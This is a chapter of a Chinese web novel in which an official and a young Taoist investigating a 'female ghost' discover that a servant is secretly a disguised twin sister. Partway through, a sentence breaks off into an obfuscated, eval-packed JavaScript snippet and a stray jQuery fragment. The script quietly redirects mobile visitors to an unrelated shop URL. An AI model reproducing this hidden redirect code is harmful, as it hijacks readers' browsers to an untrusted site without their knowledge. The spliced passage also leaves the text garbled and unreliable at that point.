过了许久,久到青鹊都要在床榻上睡着了,谢松筠才回来。
“大人,外面很热吗,你怎么脸这么红?”
谢松筠呼吸凝滞,下意识检查一番衣襟,回避她的注视,背对着坐在茶桌边。桌上的茶水早就凉了,照理该换一壶,可他却毫不犹豫地将凉液送入口中,杯沿轻磕了两下牙齿。
看来外面的确很热,连一向端方雅正的大人都开始牛饮了。
青鹊跳下床榻,路过铜镜时才发现脖颈上的点点梅花。
“大人下手也太狠了,我脖子都红了。”
谢松筠手一抖,险些把茶盏摔到地上,脑子里却无法自控地联想,若真在这细颈上留下印记该是何模样……
“不是本官做的。”他毅然扭头,指向角落里的麻袋,“是它。”
青鹊沿着谢松筠的指尖,与麻袋“面面相觑”。
麻袋又不会摸人,大人这话说得好奇怪。
不过一想起这麻袋是怎么兜头将她罩住,青鹊又想起自己昨夜是如何被冤枉的了。
现下想来,让她一个人去蹲墙根,恐怕也是计划好的。
“大人,你居然故意给我下套。”
她一屁股坐在谢松筠最近的木椅上,连人带椅子往他面前凑,谢松筠却像见了鬼似的,一个劲儿地后退。
“你,你先停下,本官正欲和你说。”
青鹊仍是气鼓鼓的,两颊吹得浑圆,柳眉倒竖,气势很足,可这张纯真的脸怎么也显不出凶神恶煞,反倒带上几分娇嗔。
谢松筠的目光扫过那因气恼而红润的唇瓣,突然有些后悔定了那计策。
可前期已然铺垫充分,仅差最后一击,不好前功尽弃。
“本官查阅了何荧的医状,发现一奇怪的规律。何荧的亏空脉象,每逢当月下旬,便会恢复几分,过了那几日,便又气虚体亏了。”
青鹊迷茫地眨眨眼,“这是为何?”
谢松筠深深地看着她,眼神中似乎夹杂着难言之隐,她更加茫然了。
脑筋飞速思索间,青鹊忽地想起昨晚,惊呼道:“大人,我知道了!明昱是个吸血鬼,每月上旬才会出来吸血!”
她对自己点了点头。
没错,昨日是正月十五,明昱就吸血了,肯定是这样。
青鹊邀功似的仰着头,却被谢松筠毫不掩饰地瞪了一眼。
“你是个傻子吗?”
“大人才是个傻子。”
“……”
谢松筠吐息了好几次,才按下想把面前这张作乱的嘴巴揉肿的冲动。
“你仔细想想,何事每月固定几日发生,发生时便不可与人亲近。”余下的话,他一个未曾娶妻之人,便难再详说了,想必对方能懂。
但青鹊真的没懂。
她变成女子才几个月,虽说知道有葵水这回事,可也仅是三个月前曾有过一次。
哪怕是在青楼,那些姐姐也都避着她这个“半大小子”。
遇上义诊的大夫,青鹊上去凑过热闹。大夫叽里咕噜背了一大串玄而又玄的医书,她听得都快睡着了,也没彻底弄清楚怎么回事,只知道约莫和从前四处流浪,饥一顿饱一顿有关,身子弱些才不得规律。
左右不会危及性命,她方子也没拿,便将此事放下了。
谢松筠一副老神在在的模样,青鹊也不好再问,绞尽脑汁想了半天。
突然,她猛地捂住嘴巴。
“难道明昱是……”
谢松筠淡然地点点头。
对方的震惊他早有预料,起初得知真相,他亦是匪夷所思。
何家也算是世代书香门第,此事虽不至于有辱门楣,可若传扬出去也会令家族脸上无光。
况且明昱的动机,谢松筠至今也不得而知,这才演了一出捉鬼灭鬼的戏码。
“你既已知晓……”谢松筠不小心又瞥见青鹊脖颈上细微的擦痕,原本定好的计划此时变得难以开口。
青鹊还没有从错愕中回过神来,喃喃道:“想不到,明昱竟然是个小地主,真是人不可貌相。”
“什么地主?”谢松筠困惑地半眯起眼睛。
“不是大人你说的吗,每月固定几日发生,发生时便不可与人亲近。”
“我从前想在邕州城里赁间屋子住,那些房主一到月末就上门收租子,身后还跟着好几个打手,少一文钱都不行,看着可吓人了,谁敢跟他们亲近!”
“唉,我可没钱交租,打也是挨不了几下的,好在遇上好心人,告诉我有一家人搬进京城了,老宅都空着,后门外有处闲置的茅草屋。”
“不过那里头又潮又热的,还是不如大人的府衙里面好。”
谢松筠快把手里的茶盏握碎了。
可一对上青鹊纯真的眸子,瞬间又没了脾气。
罢了!
他竟有一瞬觉得这小道士像女子?简直荒唐!谁家女子连月信都不知道?
谢松筠揉了揉眉心,怅然舒气道:“明昱就是那个女鬼。”
青鹊凑上前来,歪着头问道:“可明昱是男子啊?”
“本官难道还会分不清男女吗?”
难说。
青鹊没敢吱声。
原来昨日,谢松筠派了一小队人马前往戚明昱的老家,得知戚家有一儿一女,两子同时降生,相貌极其相似,名字也是“明昱”和“明玉”,那男孩又随了父母,身量始终没长起来。
平日里二人一同出来玩耍,穿着相同,连家人都难分清。
后来戚家一在京的族叔遭贬,家道中落,未及笄的男孩要充军,女孩都要没入浣衣司。当时“明玉”突发恶疾病逝,“明昱”则被何家收留做了书童,这才逃过一劫。
今日在宅中四处查问时,众仆役同时提到的一件事,引起了谢松筠的注意。
三年前,也正是何荧被女鬼纠缠上之前,明昱为护二公子安危,曾在打猎时跌落山崖,头颅流血不止,高烧不退。大夫看过都说不中用了,戚家连夜将人接回家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752743|207512||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中调养。
奇迹出现了,在戚家养了两个月,明昱竟神奇地痊愈了。
可等明昱再回到何家,却看这宅中的一切都分外陌生,大夫说这是伤了神志,丢掉了过往记忆。
何氏夫妇本就可怜这孩子,遭此一劫,心中更是过意不去,特意把明昱叫到跟前,让他安心做事,莫要劳累,旁的慢慢认便好。
据仆役们说,明昱就像是变了个人。从前他爱笑,擅狩猎,懂些拳脚,不喜读书写字之类的活计,陪二公子读书也是有一日偷懒一日。
现在的明昱看人时总带些怯懦,语调也柔和不少,从前的喜好如今一窍不通,倒是在诗文上开了窍,常常与何荧执书对谈至天明。
谢松筠派人悄悄在明昱屋中探查,异常整洁,像是提前便收拾好的。
加之青鹊闻到其身上之血腥味,他便更加确定了这骇人听闻的猜测:
明昱,或者说明玉,就是那个夜夜与何荧缠绵悱恻之人。
而何家上下对此一无所知。
青鹊举着茶盏,愣愣地捧在唇前,许久,才似懂非懂地说了句:“那……何荧知道她是男子吗?”
好问题。
谢松筠顿时怔住了。
原先他只当何荧是受害之人,全然不曾想过,身为夜夜与明昱颠倒之人,何荧口中的“命定之人”,究竟是哪一个?
青鹊双手抱在胸前,讳莫如深地道:“大人让我当‘女鬼’,是想让明昱以为,咱们就是招摇撞骗的假道士,骗她放松警戒,再在宴会上让戚家的邻居和何家的仆役来当众指认。可大人,何荧也不是个傻子,万一他就想活在美梦里呢?”
字字句句都像鼓槌般,硬生生敲在谢松筠心头。
他的心跳陡然加快,呼吸也变得急促而凌乱。
某一瞬,谢松筠甚至怀疑青鹊是看出了什么。可当他艰难地望向对方,那双清眸中的天真,却又刺得他胸口发闷。
他想多了。
他只是一时混乱,被外在混淆了判断,很快就会清醒的。
然而万事总是越避免去想,便越难以自拔,谢松筠脑海里还是冒出了这个念头:
如果青鹊是女子就好了。
他不得不承认,在得知明玉是女儿身后,他深切地嫉妒着何荧。
君子之于天下也,无适也,无莫也,义之与比。谢松筠从没想过,他也会有忮忌这种见不得人的情绪。
甚至已经在他不曾察觉的角落生根发芽,终有一日,覆满心墙。
“大人,我知道怎么探出何荧真正的心思。”
青鹊忽地取下了束发的木簪,乌黑秀发如瀑布般滑落肩头,像是在身后降下一小片夜空,映出脸庞轮廓的温润柔和,整个人平添了几分婉约。
完全是美人模样。
谢松筠瞬间就明白她的意图了。
“你要假扮成明昱去见何荧?”
不待青鹊点头,他把茶盏拍在桌上,厉声阻止:“不可,本官不允。”